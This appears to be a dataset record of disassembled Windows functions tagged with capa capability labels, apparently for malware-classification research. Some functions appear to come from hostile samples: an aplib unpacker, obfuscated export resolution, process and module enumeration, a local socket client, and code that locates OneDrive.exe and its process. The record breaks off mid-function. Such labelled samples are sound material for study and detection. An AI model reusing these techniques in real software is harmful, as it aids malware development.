joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d053c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400c56f8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400c56f8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400d068c
cmp rax, 0xffffffffffffffff
je 0x1400d068c
xor edi, edi
test rbp, rbp
jle 0x1400d0637
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400bee2c
mov rbx, rax
test rax, rax
jne 0x1400d05c4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400d062d
mov edx, 0x8000
mov ecx, r14d
call fcn.1400b026c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400c6dfc
cmp eax, 0xffffffff
je 0x1400d060d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400d05d4
mov edx, r15d
mov ecx, r14d
call fcn.1400b026c
jmp 0x1400d062d
cmp byte [rsi + 0x38], dil
je 0x1400d0624
cmp dword [rsi + 0x34], 5
jne 0x1400d0624
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], recvfrom
cmp byte [rsi + 0x30], dil
je 0x1400d062d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400bd7b0
jmp 0x1400d06a0
jns 0x1400d06a0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400c56f8
cmp rax, 0xffffffffffffffff
jne 0x1400d0658
cmp byte [rsi + 0x30], dil
je 0x1400d06a0
mov edi, dword [rsi + 0x2c]
jmp 0x1400d06a0
mov ecx, r14d
call fcn.1400c5f14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400d06a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recvfrom
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], recvfrom
jmp 0x1400d06a0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400d0699
mov eax, dword [rsi + 0x2c]
jmp 0x1400d069e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400c56f8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x2fc4dbe10
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4dc812
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc501108]
test eax, eax
je 0x2fc4dc8aa
lea rax, [0x2fc5010e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc501110]
mov qword [rbp - 8], rax
jmp 0x2fc4dc88e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dc882
cmp qword [rbp - 0x10], 0
je 0x2fc4dc882
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dc848
lea rax, [0x2fc5010e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dc8ab
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dc9b0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dc9d8
mov eax, 0
jmp 0x2fc4dca26
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dca01
mov eax, 0
jmp 0x2fc4dca26
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dca21
mov eax, 0
jmp 0x2fc4dca26
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4dca2c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4dcaaa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4dcaa1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4dcaa1
mov rax, qword [rbp - 8]
jmp 0x2fc4dcabf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4dca74
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4c6160
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4c6b62
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4eb108]
test eax, eax
je 0x2fc4c6bfa
lea rax, [0x2fc4eb0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4eb110]
mov qword [rbp - 8], rax
jmp 0x2fc4c6bde
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4c6bd2
cmp qword [rbp - 0x10], 0
je 0x2fc4c6bd2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4c6b98
lea rax, [0x2fc4eb0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4c6bfb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4c6d00
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4c6d28
mov eax, 0
jmp 0x2fc4c6d76
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4c6d51
mov eax, 0
jmp 0x2fc4c6d76
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4c6d71
mov eax, 0
jmp 0x2fc4c6d76
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4c6d7c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4c6dfa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4c6df1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4c6df1
mov rax, qword [rbp - 8]
jmp 0x2fc4c6e0f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4c6dc4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14061f058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14061f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14061f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14061f06f
add dl, dl
jne 0x14061f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14061f0f6
xor eax, eax
add dl, dl
jne 0x14061f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14061f1ad
add dl, dl
jne 0x14061f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14061f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14061f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14061f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14061f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14061f07e
mov eax, 1
add dl, dl
jne 0x14061f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14061f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14061f0fb
sub eax, ebx
mov ebx, 1
jne 0x14061f14c
mov ecx, 1
add dl, dl
jne 0x14061f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14061f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14061f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14061f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14061f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14061f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14061f15d
cmp eax, 0x7d00
jae 0x14061f19b
cmp eax, 0x500
jb 0x14061f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14061f07e
cmp eax, 0x7f
ja 0x14061f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14061f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14061f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14061f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x7ff88f0d200f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x7ff88f0d21a2
add eax, 1
imul rax, rax, 4
jmp 0x7ff88f0d2065
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x40], 0xa54ff5ef
cmp cx, cx
je 0x7ff88f0d2077
add eax, 1
imul rax, rax, 3
cmp al, al
je 0x7ff88f0d201d
sub dword [rcx + rax + 0x40], 5
mov eax, 3
cmp ah, ah
je 0x7ff88f0d2048
add eax, 1
imul rax, rax, 2
cmp ax, ax
je 0x7ff88f0d2054
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x40], 0x3c6ef2a0
cmp ch, ch
je 0x7ff88f0d209a
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x40], 0x510e5220
jmp 0x7ff88f0d210a
sub dword [rcx + rax + 0x40], 0xb5
mov eax, 3
cmp bp, bp
je 0x7ff88f0d2014
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x40], 0xbb67ae8a
cmp ah, ah
je 0x7ff88f0d203a
add dword [rcx + rax + 0x40], 0xd2
mov eax, 3
cmp bl, bl
je 0x7ff88f0d202f
out 0x3b, al
enter 0xc3, 0
call r12
mul rdx
in al, 0xf2
call rdi
in al, 0x66
in al, 0xce
or r8, 0x26c6
adc rbx, 0x5d1
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x40], 0x1f83d933
cmp dx, dx
je 0x7ff88f0d2140
add eax, 1
imul rax, rax, 6
cmp dh, dh
je 0x7ff88f0d20cd
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x40], 0x9b056937
cmp cl, cl
je 0x7ff88f0d212e
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x40], 0x5be0cc58
jmp 0x7ff88f0d214f
add dword [rcx + rax + 0x40], 0x5f
mov eax, 3
cmp ah, ah
je 0x7ff88f0d2123
add eax, 1
imul rax, rax, 7
cmp dh, dh
je 0x7ff88f0d20fb
add eax, 1
imul rax, rax, 5
cmp dl, dl
je 0x7ff88f0d20ea
sub dword [rcx + rax + 0x40], 0xab
mov eax, 3
cmp bp, bp
je 0x7ff88f0d20df
add dword [rcx + rax + 0x40], 0x78
mov eax, 3
cmp ax, ax
je 0x7ff88f0d2118
add dword [rcx + rax + 0x40], 0xc1
ret
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x60], 0
cmp ax, ax
je 0x7ff88f0d21cf
add eax, 1
imul rax, rax, 1
cmp al, al
je 0x7ff88f0d2158
add eax, 1
imul rax, rax, 1
jmp 0x7ff88f0d2089
mov dword [rcx + rax + 0x60], 0
mov eax, 3
cmp bp, bp
je 0x7ff88f0d21dc
add dword [rcx + rax + 0x40], 0x8b
mov eax, 3
jmp 0x7ff88f0d2175
mov qword [rsp + 8], rcx
mov eax, 3
cmp bl, bl
je 0x7ff88f0d216a
imul rax, rax, 0
mov rcx, qword [rsp + 8]
cmp di, di
je 0x7ff88f0d2181
mov rcx, qword [rsp + 8]
mov dword [rcx + rax + 0x40], 0x6a09e5dc
cmp ah, ah
je 0x7ff88f0d2193
mov eax, 3
add eax, 1
cmp dx, dx
je 0x7ff88f0d21b0
add eax, 1
imul rax, rax, 0
cmp ah, ah
je 0x7ff88f0d21be
Function at 0x2fc4db440
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4dbe42
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc500108]
test eax, eax
je 0x2fc4dbeda
lea rax, [0x2fc5000e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc500110]
mov qword [rbp - 8], rax
jmp 0x2fc4dbebe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dbeb2
cmp qword [rbp - 0x10], 0
je 0x2fc4dbeb2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dbe78
lea rax, [0x2fc5000e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dbedb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dbfe0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dc008
mov eax, 0
jmp 0x2fc4dc056
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dc031
mov eax, 0
jmp 0x2fc4dc056
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dc051
mov eax, 0
jmp 0x2fc4dc056
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x6d2c1f7b
Capabilities:
Enumerate process modules

Disassembly:
push rbp
mov eax, 0x2240
call fcn.6d2c3ea0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x21d0], ecx
mov qword [rbp + 0x21d8], rdx
mov qword [rbp + 0x21e0], r8
mov r8d, dword [rbp + 0x21d0]
mov edx, 0
mov ecx, 0x410
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x21b0], rax
cmp qword [rbp + 0x21b0], 0
jne 0x6d2c1fda
mov eax, 0
jmp 0x6d2c20df
lea rdx, [rbp + 0x1ac]
lea rax, [rbp + 0x1b0]
mov rcx, qword [rbp + 0x21b0]
mov r9, rdx
mov r8d, 0x2000
mov rdx, rax
call sym.EnumProcessModules
test eax, eax
je 0x6d2c20c7
mov dword [rbp + 0x21bc], 0
jmp 0x6d2c20b2
mov eax, dword [rbp + 0x21bc]
mov rdx, qword [rbp + rax*8 + 0x1b0]
lea rcx, [rbp - 0x60]
mov rax, qword [rbp + 0x21b0]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sym.GetModuleFileNameExW
test eax, eax
je 0x6d2c20ab
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, str.DLL_full_path:__s_n
call sym.wprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.GetFileName
mov rcx, rax
mov rax, qword [rbp + 0x21d8]
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
jne 0x6d2c20ab
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x21e0]
mov rdx, rax
call sym.wcscpy
mov rax, qword [rbp + 0x21b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x6d2c20df
add dword [rbp + 0x21bc], 1
mov eax, dword [rbp + 0x1ac]
shr eax, 3
cmp dword [rbp + 0x21bc], eax
jb 0x6d2c2017
mov rax, qword [rbp + 0x21b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x2240
pop rbp
ret

Function at 0x6d2c2166
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x200], rcx
mov dword [rbp + 0x1ec], 0
mov eax, dword [rbp + 0x1ec]
mov edx, eax
lea rcx, str.pid:__d_n
call sym.printf
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x1e0], rax
cmp qword [rbp + 0x1e0], 0xffffffffffffffff
jne 0x6d2c21c5
mov eax, 0
jmp 0x6d2c2260
mov dword [rbp - 0x60], 0x238
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x1e0]
mov rdx, rax
call sym.Process32FirstW
mov dword [rbp + 0x1e8], eax
jmp 0x6d2c223e
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
mov rcx, qword [rbp + 0x200]
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
jne 0x6d2c2225
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0x1ec], eax
mov eax, dword [rbp + 0x1ec]
mov edx, eax
lea rcx, str.pid:__d_n
call sym.printf
jmp 0x6d2c2247
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x1e0]
mov rdx, rax
call sym.Process32NextW
mov dword [rbp + 0x1e8], eax
cmp dword [rbp + 0x1e8], 0
jne 0x6d2c21e7
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x1ec]
add rsp, 0x270
pop rbp
ret
Function at 0x6d2c2492
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
push rbp
mov eax, 0x2a00
call fcn.6d2c3ea0
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x27c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x6d2c24ce
mov eax, 0
jmp 0x6d2c2640
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x2978], rax
mov word [rbp + 0x27b0], 2
mov ecx, 0x4d2
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x27b2], ax
lea rcx, str.127.0.0.1
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x27b4], eax
lea rax, [rbp + 0x27b0]
mov rcx, qword [rbp + 0x2978]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x6d2c2550
mov eax, 0
jmp 0x6d2c2640
lea rax, str.GET__Lekura_oned_HTTP_1.1_n
mov qword [rbp + 0x2970], rax
mov rax, qword [rbp + 0x2970]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rdx, qword [rbp + 0x2970]
mov rax, qword [rbp + 0x2978]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x60]
mov edx, 0x2801
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov edx, 1
mov ecx, 0x100000
call sym.calloc
mov qword [rbp + 0x2968], rax
jmp 0x6d2c25e7
lea rax, [rbp - 0x60]
mov rdx, qword [rbp + 0x2960]
add rax, rdx
mov byte [rax], 0
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x2968]
mov rdx, rax
call sym.strcat
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x2978]
mov r9d, 0
mov r8d, 0x2800
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cdqe
mov qword [rbp + 0x2960], rax
cmp qword [rbp + 0x2960], 0
jne 0x6d2c25c3
mov rax, qword [rbp + 0x2978]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov rax, qword [rbp + 0x2968]
add rsp, 0x2a00
pop rbp
ret

Function at 0x6d2c2649
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
lea rdx, [0x6d2c6054]
mov rcx, qword [rbp + 0x10]
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x6d2c2684
lea rcx, str.Error_opening_file
call sym.perror
mov eax, dword [rbp + 0x20]
movsxd rdx, eax
mov rcx, qword [rbp - 8]
mov rax, qword [rbp + 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x30
pop rbp
ret
Function at 0x6d2c28dd
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
push rdi
sub rsp, 0x318
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x28c], 0
lea rcx, str.localappdata
call sym.getenv
mov qword [rbp + 0x280], rax
mov rdx, qword [rbp + 0x280]
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x170]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x170]
add rax, rdx
movabs rdi, 0x6f736f7263694d5c
mov qword [rax], rdi
movabs rdi, 0x7244656e4f5c7466
mov qword [rax + 8], rdi
movabs rdi, 0x44656e4f5c657669
mov qword [rax + 0x10], rdi
movabs rdi, 0x6578652e65766972
mov qword [rax + 0x18], rdi
mov byte [rax + 0x20], 0
lea rax, [rbp + 0x170]
mov edx, 0
mov rcx, rax
call sym.access
cmp eax, 0xffffffff
je 0x6d2c2a19
lea rcx, str.exist
call sym.puts
mov qword [rbp + 0x60], 0x20632f
lea rdx, [rbp + 0x68]
mov eax, 0
mov ecx, 0x1f
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x170]
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.strcat
lea rcx, str.OneDrive.exe
call sym.findMyProc
mov dword [rbp + 0x28c], eax
mov eax, dword [rbp + 0x28c]
mov edx, eax
lea rcx, str.process_id_:_d_n
call sym.printf
cmp dword [rbp + 0x28c], 0
